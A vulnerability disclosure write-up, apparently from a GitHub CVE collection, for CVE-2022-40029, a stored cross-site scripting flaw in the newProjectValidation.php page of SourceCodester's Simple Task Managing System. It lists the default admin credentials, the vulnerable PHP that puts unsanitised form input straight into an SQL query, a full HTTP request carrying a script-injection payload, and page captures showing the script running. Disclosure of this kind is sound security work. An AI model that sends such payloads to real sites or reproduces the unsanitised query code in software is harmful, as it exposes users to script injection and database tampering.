

main

...

CVE_HUNTER / CVE_09 / 2022-09-01-XSS3.md



xidaner add CVE number

History

1 contributor

49 lines (36 sloc) | 1.92 KB

...

CVE-2022-40029 Simple Task Managing System - XSS3

A vulnerability classified as problematic was found in SourceCodester Simple Task Managing System. This vulnerability affects unknown code. The manipulation of the argument newProjectValidation.php leads to cross site scripting. The attack can be initiated remotely.

username:admin password:admin ----> {ip}/newProjectValidation.php

Supplier: <https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html>

/newProjectValidation.php has XSS

Payload: "><ScRiPt>alert(1)</sCrIpT>

XSS because \$short can be closed

```
test/index.php × Task Managing System in PHP\index.php × board.php × newTask.php × loginValidation.php × newProjectValidation.php ×
<?php
session_start();
require_once "connect.php";

$connection = new mysqli($host, $db_user, $db_password, $db_name);

if($connection->connect_errno!=0){
    echo "Error: " . $connection->connect_errno . "<br>";
    echo "Description: " . $connection->connect_error;
}
else{
    $fullName = $_POST['full'];
    $shortName = $_POST['short'];

    $sql = "INSERT INTO projects VALUES (NULL, '$fullName', '$shortName')";

    if($connection->query($sql)){
        $_SESSION['newProjectSuccess'] = '<span class="success-msg">Project is added successfully.</span>';
        unset($_SESSION['addProjectError']);
        header('Location: index.php');
    }
    else{
        $_SESSION['addProjectError'] = '<span class="error-msg">Sorry! The project couldnot be added.</span>';
        //header('Location: newTask.php');
    }
    $connection->close();
}
```

Not sterilized

Payload

```
POST /cve/Task%20Managing%20System%20in%20PHP/newProjectValidation.php HTTP/1.1
Host: localhost
Content-Length: 102
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/cve/Task%20Managing%20System%20in%20PHP/newProject.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=hvkothkilavedcvtchro67huf9i
Connection: close
```

```
short=%22%3E%3CScript%3Ealert%281%29%3C%2FsCrIpT%3E
```



NEW PROJECT

Full project name:

Short project name:

Add new project

Task system

view-source:localhost/cve/Tas

localhost/cve/Task%20Managing%20System%20in%20PHP/index.php

PROJECTS LIST

Logged in as admin [\[logout\]](#)

Full name	Short name	Tasks left
admin1	admin1	0
admin1	0	0
">	">	

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Elements

Console

Sources

Network

Performance

Memory

Application

Security

Lighthouse

Augmented

```
<html lang="pl">
<head>...</head>
<body>
  <div class="container projectListContainer">
    ::before
    <h1>Projects list</h1>
    <div class="lg-6 whoami">...</div>
    <div class="lg-6 createBoard">...</div>
    <div class="lg-12">
      <table class="project-list">
        <thead>...</thead>
        <tbody>
          <tr>...</tr>
          <tr>...</tr>
          <tr>
            <td>
              "">
              <script>alert(1)</script>
            </td>
            <td>
              "">
              <script>
                alert(1)</>
                <td>0</td>
                <td><a href='board.php?sn='><ScRiPt>alert(1)</'
                class='btn'>Board</a></td>
              </tr>
            </tbody>
          </table>
        </div>
      </div>
    <script src="js/custom.js"> == $0
```

